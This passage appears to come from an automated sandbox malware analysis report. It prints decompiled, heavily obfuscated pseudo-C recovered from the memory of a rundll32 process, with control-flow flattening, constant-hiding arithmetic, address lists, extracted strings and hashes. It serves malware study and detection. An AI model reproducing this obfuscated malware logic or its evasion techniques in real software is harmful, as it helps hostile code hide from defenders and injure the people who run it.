				signed int _v2916;
				signed int _v2920;
				signed int _v2924;
				signed int _v2928;
				signed int _v2932;
				void* _t755;
				void* _t756;
				short* _t766;
				signed int _t773;
				signed int _t779;
				signed int _t788;
				void* _t791;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				void* _t812;
				signed int _t877;
				void* _t882;
				signed int* _t883;
				signed int* _t884;
				void* _t887;

				_t883 =  &_v2932;
				_v2608 = _v2608 & 0x00000000;
				_v2612 = 0xa3d4eb;
				_v2660 = 0x6758cb;
				_v2660 = _v2660 << 4;
				_v2660 = _v2660 ^ 0x06758c99;
				_v2732 = 0xdc8525;
				_v2732 = _v2732 | 0x3ff23f5d;
				_v2732 = _v2732 ^ 0x3feebf7d;
				_v2928 = 0xfbcda8;
				_v2928 = _v2928 | 0x9eb5e9b7;
				_v2928 = _v2928 + 0xffff6f36;
				_v2928 = _v2928 + 0xffffec33;
				_v2928 = _v2928 ^ 0x9ef08d4a;
				_v2756 = 0xde70d9;
				_t882 = __ecx;
				_t877 = 0x99d8a48;
				_t793 = 0x28;
				_v2756 = _v2756 / _t793;
				_v2756 = _v2756 | 0x7728469f;
				_v2756 = _v2756 ^ 0x772920e1;
				_v2900 = 0xe4279b;
				_v2900 = _v2900 >> 0xc;
				_v2900 = _v2900 * 0x68;
				_v2900 = _v2900 + 0xffff73cc;
				_v2900 = _v2900 ^ 0x000006fc;
				_v2688 = 0xa4ffcb;
				_v2688 = _v2688 + 0xffff5cd6;
				_v2688 = _v2688 ^ 0x00a04a41;
				_v2908 = 0xc9c6ce;
				_v2908 = _v2908 | 0xf5fbf83a;
				_v2908 = _v2908 + 0x7e10;
				_v2908 = _v2908 / _t793;
				_v2908 = _v2908 ^ 0x062c0b4a;
				_v2916 = 0x7f9442;
				_v2916 = _v2916 << 0xb;
				_v2916 = _v2916 ^ 0x8520fee0;
				_v2916 = _v2916 + 0xe609;
				_v2916 = _v2916 ^ 0x798f337b;
				_v2652 = 0x9f68d1;
				_t794 = 0x4e;
				_v2652 = _v2652 * 0x2e;
				_v2652 = _v2652 ^ 0x1cad1c96;
				_v2680 = 0x874387;
				_v2680 = _v2680 / _t794;
				_v2680 = _v2680 ^ 0x000eef56;
				_v2740 = 0x218d86;
				_v2740 = _v2740 ^ 0x8da9a7ec;
				_v2740 = _v2740 + 0xffff8c18;
				_v2740 = _v2740 ^ 0x8d8801a5;
				_v2780 = 0xd8f554;
				_v2780 = _v2780 >> 0xb;
				_v2780 = _v2780 >> 7;
				_v2780 = _v2780 ^ 0x00079072;
				_v2892 = 0x1ce380;
				_v2892 = _v2892 ^ 0x506392b2;
				_v2892 = _v2892 >> 2;
				_v2892 = _v2892 ^ 0xa7f562ec;
				_v2892 = _v2892 ^ 0xb3eeada2;
				_v2748 = 0x4b6045;
				_v2748 = _v2748 | 0xfff2b3bd;
				_v2748 = _v2748 ^ 0xfffe78ab;
				_v2772 = 0x44b019;
				_v2772 = _v2772 << 6;
				_v2772 = _v2772 ^ 0xdf8519b0;
				_v2772 = _v2772 ^ 0xcea55934;
				_v2672 = 0x9de851;
				_v2672 = _v2672 + 0xdaae;
				_v2672 = _v2672 ^ 0x009a5a0c;
				_v2816 = 0xce234;
				_v2816 = _v2816 ^ 0xef3b6bc0;
				_v2816 = _v2816 + 0xb943;
				_v2816 = _v2816 ^ 0xef313dc6;
				_v2644 = 0x831e64;
				_v2644 = _v2644 << 7;
				_v2644 = _v2644 ^ 0x418cd6ce;
				_v2792 = 0xb71d5;
				_v2792 = _v2792 + 0xd0e6;
				_v2792 = _v2792 >> 1;
				_v2792 = _v2792 ^ 0x000ab854;
				_v2800 = 0xbc4add;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 ^ 0x000f3ccc;
				_v2860 = 0xc7de55;
				_v2860 = _v2860 >> 8;
				_v2860 = _v2860 >> 3;
				_v2860 = _v2860 + 0xffffb96d;
				_v2860 = _v2860 ^ 0xfff9a10f;
				_v2868 = 0x50e0;
				_v2868 = _v2868 << 0x10;
				_v2868 = _v2868 ^ 0x31c9bada;
				_v2868 = _v2868 << 3;
				_v2868 = _v2868 ^ 0x0945daeb;
				_v2876 = 0x5f8cf7;
				_v2876 = _v2876 ^ 0xc877f21d;
				_v2876 = _v2876 + 0x5049;
				_v2876 = _v2876 ^ 0xb9ce624b;
				_v2876 = _v2876 ^ 0x71e38bc3;
				_v2884 = 0xd45199;
				_v2884 = _v2884 + 0x1b0f;
				_v2884 = _v2884 ^ 0x78878a0d;
				_v2884 = _v2884 >> 0x10;
				_v2884 = _v2884 ^ 0x0002122d;
				_v2784 = 0xb41ca7;
				_v2784 = _v2784 >> 6;
				_v2784 = _v2784 << 5;
				_v2784 = _v2784 ^ 0x005b868a;
				_v2636 = 0x8dae72;
				_v2636 = _v2636 + 0xffffc621;
				_v2636 = _v2636 ^ 0x008635a7;
				_v2664 = 0x1c5bb7;
				_v2664 = _v2664 + 0x2d8a;
				_v2664 = _v2664 ^ 0x0011f5d8;
				_v2760 = 0x485545;
				_t204 =  &_v2760; // 0x485545
				_t795 = 0x2b;
				_v2760 =  *_t204 / _t795;
				_t210 =  &_v2760; // 0x772920e1
				_t796 = 0x33;
				_v2760 =  *_t210 / _t796;
				_v2760 = _v2760 ^ 0x0005bb0a;
				_v2768 = 0x206724;
				_v2768 = _v2768 + 0xbd1f;
				_t797 = 0x66;
				_v2768 = _v2768 * 0x7b;
				_v2768 = _v2768 ^ 0x0fe22bc5;
				_v2776 = 0x718f5a;
				_v2776 = _v2776 * 0x3f;
				_v2776 = _v2776 ^ 0xe004a3c2;
				_v2776 = _v2776 ^ 0xfbf0dedb;
				_v2852 = 0x30668;
				_v2852 = _v2852 / _t797;
				_v2852 = _v2852 * 0x79;
				_t798 = 0x34;
				_v2852 = _v2852 * 0x41;
				_v2852 = _v2852 ^ 0x00e90d43;
				_v2880 = 0xddde8d;
				_v2880 = _v2880 + 0xffff9e4d;
				_v2880 = _v2880 ^ 0x2170423a;
				_v2880 = _v2880 >> 1;
				_v2880 = _v2880 ^ 0x10d47b31;
				_v2764 = 0x8f88ee;
				_v2764 = _v2764 + 0xffff0386;
				_v2764 = _v2764 * 0x4a;
				_v2764 = _v2764 ^ 0x293e38ba;
				_v2932 = 0x1330a6;
				_v2932 = _v2932 << 0x10;
				_v2932 = _v2932 ^ 0x26950d85;
				_v2932 = _v2932 | 0xf53ba417;
				_v2932 = _v2932 ^ 0xf73491db;
				_v2848 = 0x8b68d8;
				_v2848 = _v2848 + 0xffffc5d2;
				_v2848 = _v2848 / _t798;
				_t799 = 0x44;
				_v2848 = _v2848 * 0x12;
				_v2848 = _v2848 ^ 0x00302441;
				_v2796 = 0x487ac0;
				_v2796 = _v2796 >> 2;
				_v2796 = _v2796 << 2;
				_v2796 = _v2796 ^ 0x0044512a;
				_v2788 = 0x814d4e;
				_v2788 = _v2788 << 0xd;
				_v2788 = _v2788 + 0xffffeb04;
				_v2788 = _v2788 ^ 0x29afe2cb;
				_v2648 = 0x81f400;
				_v2648 = _v2648 / _t799;
				_v2648 = _v2648 ^ 0x0007d40f;
				_v2924 = 0x344f86;
				_v2924 = _v2924 * 0x6e;
				_v2924 = _v2924 | 0xa7e46eb9;
				_v2924 = _v2924 << 7;
				_v2924 = _v2924 ^ 0xff3431be;
				_v2696 = 0x5309a4;
				_v2696 = _v2696 + 0xabda;
				_v2696 = _v2696 ^ 0x0057eeeb;
				_v2640 = 0xcd8354;
				_v2640 = _v2640 * 0x30;
				_v2640 = _v2640 ^ 0x268d1ae3;
				_v2736 = 0x8b4c85;
				_v2736 = _v2736 + 0xffffcdbf;
				_v2736 = _v2736 >> 9;
				_v2736 = _v2736 ^ 0x00036e60;
				_v2700 = 0x49adfc;
				_v2700 = _v2700 | 0xa8ad8379;
				_v2700 = _v2700 ^ 0xa8e07f1f;
				_v2836 = 0x26ed3a;
				_v2836 = _v2836 << 4;
				_v2836 = _v2836 ^ 0xdd500379;
				_v2836 = _v2836 ^ 0x075ca1f5;
				_v2836 = _v2836 ^ 0xd8654197;
				_v2864 = 0x88b41;
				_v2864 = _v2864 ^ 0x8a41e3e3;
				_v2864 = _v2864 << 2;
				_v2864 = _v2864 * 0x3d;
				_v2864 = _v2864 ^ 0xcdf16822;
				_v2712 = 0x130ad6;
				_v2712 = _v2712 + 0x26b0;
				_v2712 = _v2712 ^ 0x001463fa;
				_v2912 = 0xf18913;
				_t800 = 0x60;
				_v2912 = _v2912 / _t800;
				_v2912 = _v2912 ^ 0xfb8d6542;
				_v2912 = _v2912 ^ 0x1ef95146;
				_v2912 = _v2912 ^ 0xe575fcb3;
				_v2832 = 0xd4991f;
				_v2832 = _v2832 >> 1;
				_t801 = 0x19;
				_v2832 = _v2832 * 0x39;
				_v2832 = _v2832 + 0x6431;
				_v2832 = _v2832 ^ 0x17a3d9f5;
				_v2840 = 0x943911;
				_v2840 = _v2840 ^ 0xe2670b6e;
				_v2840 = _v2840 + 0x24d4;
				_v2840 = _v2840 << 0xd;
				_v2840 = _v2840 ^ 0x6aeb880a;
				_v2904 = 0xa538e8;
				_v2904 = _v2904 >> 0xc;
				_v2904 = _v2904 ^ 0x62edf37a;
				_v2904 = _v2904 + 0xa832;
				_v2904 = _v2904 ^ 0x62e4cbfc;
				_v2888 = 0x16e2bd;
				_v2888 = _v2888 + 0xffff7f28;
				_v2888 = _v2888 * 0x64;
				_v2888 = _v2888 >> 7;
				_v2888 = _v2888 ^ 0x0018f901;
				_v2656 = 0x3f6e99;
				_v2656 = _v2656 >> 0xb;
				_v2656 = _v2656 ^ 0x0009fe52;
				_v2804 = 0xfa19bd;
				_v2804 = _v2804 / _t801;
				_v2804 = _v2804 << 0xa;
				_v2804 = _v2804 ^ 0x28048f08;
				_v2856 = 0x7adc8b;
				_t802 = 3;
				_v2856 = _v2856 / _t802;
				_v2856 = _v2856 << 0xe;
				_v2856 = _v2856 << 9;
				_v2856 = _v2856 ^ 0x17040ca6;
				_v2896 = 0x5caea7;
				_t803 = 0x48;
				_v2896 = _v2896 / _t803;
				_v2896 = _v2896 + 0xffff6657;
				_v2896 = _v2896 + 0xa67d;
				_v2896 = _v2896 ^ 0x000329ba;
				_v2812 = 0x1fcfbe;
				_v2812 = _v2812 >> 6;
				_t804 = 0x38;
				_v2812 = _v2812 / _t804;
				_v2812 = _v2812 ^ 0x0007b63c;
				_v2720 = 0xe95658;
				_v2720 = _v2720 >> 7;
				_v2720 = _v2720 ^ 0x00071478;
				_v2808 = 0x91ff61;
				_v2808 = _v2808 << 7;
				_v2808 = _v2808 | 0xd2954662;
				_v2808 = _v2808 ^ 0xdaf4ea8a;
				_v2824 = 0x446ad6;
				_v2824 = _v2824 ^ 0x83a91402;
				_t805 = 0x4c;
				_v2824 = _v2824 * 0x45;
				_v2824 = _v2824 >> 0x10;
				_v2824 = _v2824 ^ 0x000353dc;
				_v2708 = 0x4b7422;
				_v2708 = _v2708 >> 3;
				_v2708 = _v2708 ^ 0x0008e5f0;
				_v2844 = 0xac34a;
				_v2844 = _v2844 * 0xd;
				_v2844 = _v2844 * 0x1a;
				_v2844 = _v2844 >> 0x10;
				_v2844 = _v2844 ^ 0x0002a3d0;
				_v2716 = 0x7960bf;
				_v2716 = _v2716 + 0xffffc462;
				_v2716 = _v2716 ^ 0x007665d3;
				_v2744 = 0xbebd75;
				_v2744 = _v2744 ^ 0x7a1f8fc9;
				_v2744 = _v2744 / _t805;
				_v2744 = _v2744 ^ 0x0198bdde;
				_v2752 = 0x962c9a;
				_v2752 = _v2752 + 0xfffffa67;
				_t806 = 0x2e;
				_v2752 = _v2752 / _t806;
				_v2752 = _v2752 ^ 0x00030d52;
				_v2920 = 0x9dfed8;
				_v2920 = _v2920 ^ 0x0302cebd;
				_v2920 = _v2920 + 0x73d2;
				_v2920 = _v2920 >> 0xf;
				_v2920 = _v2920 ^ 0x000ba8ee;
				_v2872 = 0x884e2b;
				_v2872 = _v2872 | 0x5783eec3;
				_v2872 = _v2872 << 7;
				_v2872 = _v2872 + 0x1dcf;
				_v2872 = _v2872 ^ 0xc5fa8f40;
				_v2668 = 0x393d56;
				_v2668 = _v2668 >> 6;
				_v2668 = _v2668 ^ 0x0000ab92;
				_v2704 = 0x58f1e9;
				_t807 = 0x7c;
				_v2704 = _v2704 / _t807;
				_v2704 = _v2704 ^ 0x00048cf6;
				_v2820 = 0x3ec6d0;
				_v2820 = _v2820 + 0x5fc5;
				_t808 = 0x21;
				_v2820 = _v2820 / _t808;
				_v2820 = _v2820 ^ 0xd86d8e19;
				_v2820 = _v2820 ^ 0xd8634d78;
				_v2828 = 0xe4a70b;
				_v2828 = _v2828 ^ 0x2abc0881;
				_v2828 = _v2828 ^ 0xa79f6464;
				_v2828 = _v2828 >> 0xf;
				_v2828 = _v2828 ^ 0x000c3a60;
				_v2684 = 0x315a2d;
				_v2684 = _v2684 | 0xacf80d9c;
				_v2684 = _v2684 ^ 0xacfa1597;
				_v2692 = 0x63e424;
				_v2692 = _v2692 + 0x44ad;
				_v2692 = _v2692 ^ 0x0068b9d0;
				_v2724 = 0xdbaa4f;
				_v2724 = _v2724 + 0xffffd825;
				_v2724 = _v2724 ^ 0x00d800e8;
				_v2728 = 0xc5e7f7;
				_v2728 = _v2728 << 0xf;
				_v2728 = _v2728 << 0xd;
				_v2728 = _v2728 ^ 0x7003c940;
				_v2676 = 0x7098dc;
				_v2676 = _v2676 ^ 0x810ef473;
				_v2676 = _v2676 ^ 0x817bc99c;
				_t755 = E029CADFC();
				_t876 = _v2724;
				_t791 = _t755;
				while(1) {
					L1:
					_t756 = 0x32a72b9;
					do {
						while(1) {
							L2:
							_t887 = _t877 - 0x99d8a48;
							if(_t887 > 0) {
								break;
							}
							if(_t887 == 0) {
								_push(_t809);
								_t809 = _v2756;
								E029CE259(_t809, _v2660, _v2900, _v2688, _t809, _t809,  &_v1564, _v2908, _v2916);
								_t883 =  &(_t883[8]);
								_t877 = 0xe471d7b;
								while(1) {
									L1:
									_t756 = 0x32a72b9;
									goto L2;
								}
							} else {
								if(_t877 == 0xe4882e) {
									_v2620 = E029C3789();
									_t779 = E029CF14F(_v2932, _t778, _v2848, _v2796);
									_pop(_t812);
									_v2616 = 2 + _t779 * 2;
									_t809 = _v2788;
									_t773 = E029D8727(_t809,  &_v2624, _v2648, _t791, _v2924, _v2732, _v2696, _t791, _t812, _t791, _v2640);
									_t883 =  &(_t883[0xa]);
									__eflags = _t773;
									if(__eflags != 0) {
										_t877 = 0xc8e8e82;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									}
								} else {
									if(_t877 == _t756) {
										_push(0x29c12a0);
										E029C8C65(_v2888, __eflags,  &_v2604,  &_v1564, _v2656, _t876, _v2804, E029E0AD3(_v2840, _v2904, __eflags), _v2856,  &_v524, _v2896, _v2812);
										_t809 = _v2720;
										E029D2EED(_t809, _v2808, _v2824, _t782);
										_t883 =  &(_t883[0xc]);
										_t877 = 0xca1945b;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									} else {
										if(_t877 == 0x3352d63) {
											_t809 = _v2864;
											_t788 = E029C7739(_t809, _v2712, _v2632, _v2912, _v2628, _v2832);
											_t876 = _t788;
											_t883 =  &(_t883[4]);
											__eflags = _t788;
											_t756 = 0x32a72b9;
											_t877 =  !=  ? 0x32a72b9 : 0xc5894d6;
											continue;
										} else {
											if(_t877 == 0x5779399) {
												return E029D9038(_v2724, _v2728, _v2624, _v2676);
											}
											if(_t877 != 0x58d7aaf) {
												goto L24;
											} else {
												_t809 = _v2920;
												E029CF699(_t809, _t876, _v2872, _v2668, _v2704);
												_t883 =  &(_t883[3]);
												_t877 = 0xc5894d6;
												while(1) {
													L1:
													_t756 = 0x32a72b9;
													goto L2;
												}
											}
										}
									}
									L28:
								}
							}
							L27:
							return _t773;
							goto L28;
						}
						__eflags = _t877 - 0xc5894d6;
						if(_t877 == 0xc5894d6) {
							_t809 = _v2820;
							E029CF699(_t809, _v2632, _v2828, _v2684, _v2692);
							_t883 =  &(_t883[3]);
							_t877 = 0x5779399;
							_t756 = 0x32a72b9;
							goto L24;
						} else {
							__eflags = _t877 - 0xc8e8e82;
							if(_t877 == 0xc8e8e82) {
								_t809 = _v2736;
								E029D7EDD( &_v2624, _v2700,  &_v2632, _v2836);
								_t883 =  &(_t883[3]);
								asm("sbb esi, esi");
								_t877 = (_t877 & 0xfdbd99ca) + 0x5779399;
								goto L1;
							} else {
								__eflags = _t877 - 0xca1945b;
								if(__eflags == 0) {
									_push(_v2752);
									_push( &_v524);
									_push(0);
									_push(_v2744);
									_push(_v2716);
									_push(_v2844);
									_push(1);
									_push(0);
									E029E06EF(_v2708, __eflags);
									_t883 =  &(_t883[8]);
									_t877 = 0x58d7aaf;
									while(1) {
										L1:
										_t756 = 0x32a72b9;
										goto L2;
									}
								} else {
									__eflags = _t877 - 0xe471d7b;
									if(__eflags != 0) {
										goto L24;
									} else {
										E029C24AA(_t809, _v2652, __eflags,  &_v2084, _v2680, _v2740, _v2780);
										_t766 = E029D0F17(_v2892, _v2748,  &_v2084, _v2772, _v2672);
										_t884 =  &(_t883[7]);
										 *_t766 = 0;
										E029DCC3F(_v2816,  &_v1044, __eflags, _v2644);
										 *_t884 = 0x29c11b0;
										E029E06A6(__eflags,  &_v2084, _v2860, E029E0AD3(_v2792, _v2800, __eflags), _v2868, _v2876,  &_v2604, _v2884);
										E029D2EED(_v2784, _v2636, _v2664, _t768);
										_t809 =  &_v2604;
										_t773 = E029E3306(_t809, _v2760, _v2768, _v2776, _t882, _v2852);
										_t883 =  &(_t884[0xd]);
										__eflags = _t773;
										if(__eflags != 0) {
											_t877 = 0xe4882e;
											while(1) {
												L1:
												_t756 = 0x32a72b9;
												goto L2;
											}
										}
									}
								}
							}
						}
						goto L27;
						L24:
						__eflags = _t877 - 0x51bfa3f;
					} while (__eflags != 0);
					return _t756;
				}
			}

0x029d1c12
0x029d1c18
0x029d1c22
0x029d1c2d
0x029d1c38
0x029d1c40
0x029d1c4b
0x029d1c56
0x029d1c61
0x029d1c6c
0x029d1c74
0x029d1c7c
0x029d1c84
0x029d1c8c
0x029d1c94
0x029d1cac
0x029d1cae
0x029d1cb3
0x029d1cb8
0x029d1cbf
0x029d1cca
0x029d1cd5
0x029d1cdd
0x029d1ce9
0x029d1ced
0x029d1cf5
0x029d1cfd
0x029d1d08
0x029d1d13
0x029d1d1e
0x029d1d26
0x029d1d2e
0x029d1d3e
0x029d1d42
0x029d1d4a
0x029d1d52
0x029d1d57
0x029d1d5f
0x029d1d67
0x029d1d6f
0x029d1d82
0x029d1d83
0x029d1d8a
0x029d1d95
0x029d1da9
0x029d1db0
0x029d1dbb
0x029d1dc6
0x029d1dd1
0x029d1ddc
0x029d1de7
0x029d1df2
0x029d1dfa
0x029d1e02
0x029d1e0d
0x029d1e15
0x029d1e1d
0x029d1e22
0x029d1e2a
0x029d1e32
0x029d1e3d
0x029d1e48
0x029d1e53
0x029d1e5e
0x029d1e66
0x029d1e71
0x029d1e7e
0x029d1e89
0x029d1e94
0x029d1e9f
0x029d1eaa
0x029d1eb5
0x029d1ec0
0x029d1ecb
0x029d1ed6
0x029d1ede
0x029d1ee9
0x029d1ef4
0x029d1eff
0x029d1f06
0x029d1f11
0x029d1f1c
0x029d1f24
0x029d1f2c
0x029d1f37
0x029d1f3f
0x029d1f44
0x029d1f49
0x029d1f51
0x029d1f59
0x029d1f61
0x029d1f66
0x029d1f6e
0x029d1f73
0x029d1f7b
0x029d1f83
0x029d1f8b
0x029d1f93
0x029d1f9b
0x029d1fa3
0x029d1fab
0x029d1fb3
0x029d1fbb
0x029d1fc0
0x029d1fc8
0x029d1fd3
0x029d1fdb
0x029d1fe3
0x029d1fee
0x029d1ff9
0x029d2004
0x029d200f
0x029d201a
0x029d2025
0x029d2030
0x029d203b
0x029d2044
0x029d2049
0x029d2052
0x029d2059
0x029d205e
0x029d2067
0x029d2072
0x029d207d
0x029d2090
0x029d2091
0x029d2098
0x029d20a3
0x029d20b6
0x029d20bd
0x029d20c8
0x029d20d3
0x029d20e1
0x029d20ea
0x029d20f7
0x029d20fa
0x029d20fe
0x029d2106
0x029d210e
0x029d2116
0x029d211e
0x029d2122
0x029d212a
0x029d2135
0x029d2148
0x029d214f
0x029d215a
0x029d2162
0x029d2167
0x029d216f
0x029d2177
0x029d217f
0x029d2187
0x029d2197
0x029d21a0
0x029d21a1
0x029d21a5
0x029d21ad
0x029d21b8
0x029d21c0
0x029d21c8
0x029d21d3
0x029d21de
0x029d21e6
0x029d21f1
0x029d21fc
0x029d2210
0x029d2217
0x029d2222
0x029d222f
0x029d2233
0x029d223b
0x029d2240
0x029d2248
0x029d2253
0x029d225e
0x029d2269
0x029d227c
0x029d2283
0x029d228e
0x029d2299
0x029d22a4
0x029d22ac
0x029d22b7
0x029d22c2
0x029d22cd
0x029d22d8
0x029d22e0
0x029d22e5
0x029d22ed
0x029d22f5
0x029d22fd
0x029d2305
0x029d230d
0x029d2317
0x029d231b
0x029d2323
0x029d232e
0x029d2339
0x029d2344
0x029d2354
0x029d2359
0x029d235f
0x029d2367
0x029d236f
0x029d2377
0x029d237f
0x029d2388
0x029d238b
0x029d238f
0x029d2397
0x029d239f
0x029d23a7
0x029d23af
0x029d23b7
0x029d23bc
0x029d23c4
0x029d23cc
0x029d23d1
0x029d23d9
0x029d23e1
0x029d23e9
0x029d23f1
0x029d23fe
0x029d2402
0x029d2407
0x029d240f
0x029d241a
0x029d2422
0x029d242d
0x029d2443
0x029d244a
0x029d2452
0x029d245d
0x029d2469
0x029d246e
0x029d2474
0x029d2479
0x029d247e
0x029d2486
0x029d2492
0x029d2497
0x029d249d
0x029d24a5
0x029d24ad
0x029d24b5
0x029d24c0
0x029d24cf
0x029d24d2
0x029d24d9
0x029d24e4
0x029d24ef
0x029d24f7
0x029d2502
0x029d250d
0x029d2515
0x029d2520
0x029d252b
0x029d2533
0x029d2544
0x029d2547
0x029d254e
0x029d2556
0x029d2561
0x029d256c
0x029d2574
0x029d257f
0x029d258c
0x029d2595
0x029d2599
0x029d259e
0x029d25a6
0x029d25b1
0x029d25bc
0x029d25c7
0x029d25d2
0x029d25e8
0x029d25ef
0x029d25fa
0x029d2605
0x029d2617
0x029d261c
0x029d2625
0x029d2630
0x029d2638
0x029d2640
0x029d2648
0x029d264d
0x029d2655
0x029d265d
0x029d2665
0x029d266a
0x029d2672
0x029d267a
0x029d2685
0x029d268d
0x029d2698
0x029d26aa
0x029d26af
0x029d26b8
0x029d26c3
0x029d26ce
0x029d26e0
0x029d26e3
0x029d26ea
0x029d26f5
0x029d2700
0x029d2708
0x029d2710
0x029d2718
0x029d271d
0x029d2725
0x029d2730
0x029d273b
0x029d2746
0x029d2751
0x029d275c
0x029d2767
0x029d2772
0x029d277d
0x029d2788
0x029d2793
0x029d279b
0x029d27a3
0x029d27ae
0x029d27b9
0x029d27c4
0x029d27d3
0x029d27d8
0x029d27df
0x029d27e1
0x029d27e1
0x029d27e1
0x029d27e6
0x029d27e6
0x029d27e6
0x029d27e6
0x029d27ec
0x00000000
0x00000000
0x029d27f2
0x029d2999
0x029d29be
0x029d29c5
0x029d29ca
0x029d29cd
0x029d27e1
0x029d27e1
0x029d27e1
0x00000000
0x029d27e1
0x029d27f8
0x029d27fe
0x029d2928
0x029d2937
0x029d293d
0x029d2956
0x029d2977
0x029d297f
0x029d2984
0x029d2987
0x029d2989
0x029d298f
0x029d27e1
0x029d27e1
0x029d27e1
0x00000000
0x029d27e1
0x029d27e1
0x029d2804
0x029d2806
0x029d289a
0x029d28e2
0x029d28f6
0x029d28fd
0x029d2902
0x029d2905
0x029d27e1
0x029d27e1
0x029d27e1
0x00000000
0x029d27e1
0x029d280c
0x029d2812
0x029d2870
0x029d2874
0x029d2879
0x029d287b
0x029d287e
0x029d2885
0x029d288a
0x00000000
0x029d2814
0x029d281a
0x00000000
0x029d2bfe
0x029d2826
0x00000000
0x029d282c
0x029d2840
0x029d2844
0x029d2849
0x029d284c
0x029d27e1
0x029d27e1
0x029d27e1
0x00000000
0x029d27e1
0x029d27e1
0x029d2826
0x029d2812
0x00000000
0x029d2806
0x029d27fe
0x029d2c09
0x029d2c09
0x00000000
0x029d2c09
0x029d29d7
0x029d29dd
0x029d2bb5
0x029d2bbc
0x029d2bc1
0x029d2bc4
0x029d2bc9
0x00000000
0x029d29e3
0x029d29e3
0x029d29e9
0x029d2b6e
0x029d2b7c
0x029d2b81
0x029d2b86
0x029d2b8e
0x00000000
0x029d29ef
0x029d29ef
0x029d29f5
0x029d2b1b
0x029d2b29
0x029d2b2a
0x029d2b2c
0x029d2b33
0x029d2b3a
0x029d2b45
0x029d2b47
0x029d2b49
0x029d2b4e
0x029d2b51
0x029d27e1
0x029d27e1
0x029d27e1
0x00000000
0x029d27e1
0x029d29fb
0x029d29fb
0x029d2a01
0x00000000
0x029d2a07
0x029d2a2b
0x029d2a51
0x029d2a56
0x029d2a62
0x029d2a73
0x029d2a86
0x029d2abd
0x029d2adb
0x029d2ae4
0x029d2b01
0x029d2b06
0x029d2b09
0x029d2b0b
0x029d2b11
0x029d27e1
0x029d27e1
0x029d27e1
0x00000000
0x029d27e1
0x029d27e1
0x029d2b0b
0x029d2a01
0x029d29f5
0x029d29e9
0x00000000
0x029d2bce
0x029d2bce
0x029d2bce
0x00000000
0x029d27e6

Strings

:Bp!, xrefs: 029D2116
"tK, xrefs: 029D2561
XV, xrefs: 029D24E4
*QD, xrefs: 029D21C8
W, xrefs: 029D225E
$g , xrefs: 029D2072
EUH, xrefs: 029D203B
:&, xrefs: 029D22D8
P, xrefs: 029D1F59
$c, xrefs: 029D2746
A$0, xrefs: 029D21A5
-Z1, xrefs: 029D2725
E`K, xrefs: 029D1E32
V=9, xrefs: 029D267A
1d, xrefs: 029D238F
)wEUH, xrefs: 029D2052

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID: "tK$$g $$c$*QD$-Z1$1d$:Bp!$:&$A$0$EUH$E`K$V=9$XV$ )wEUH$P$W
API String ID: 2591292051-3509732160
Opcode ID: f9238d9321ab87f986e872bd6e09151f5529e4025a956cde6d7676a244186b1b
Instruction ID: 895adaff3e7d5d3fc0e51d645dde4518c6a54fdb2b05535cf757e7c05c6eb368
Opcode Fuzzy Hash: f9238d9321ab87f986e872bd6e09151f5529e4025a956cde6d7676a244186b1b
Instruction Fuzzy Hash: 4772EF715083809BD378CF21C58AB8BBBE2FBD4308F108A1DE5DA96260D7B59949DF53

Uniqueness

Uniqueness Score: -1.00%

Function 029C996C, Relevance: 19.4, Strings: 15, Instructions: 674
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E029C996C(signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, signed int _a36, intOrPtr _a40) {
				signed int* _v4;
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				void* __ecx;
				signed int _t757;
				void* _t765;
				signed int _t769;
				signed int _t775;
				signed int _t786;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				void* _t805;
				signed int _t814;
				intOrPtr* _t823;
				void* _t874;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t895;
				signed int* _t902;
				void* _t904;

				_push(_a40);
				_push(_a36);
				_v4 = __edx;
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20 & 0x0000ffff);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_a20 & 0x0000ffff);
				_v264 = 0xc60fd9;
				_v264 = _v264 >> 0xb;
				_t902 =  &(( &_v268)[0xc]);
				_v264 = _v264 ^ 0xb6865c26;
				_v264 = _v264 ^ 0xb68644e7;
				_t786 = 0;
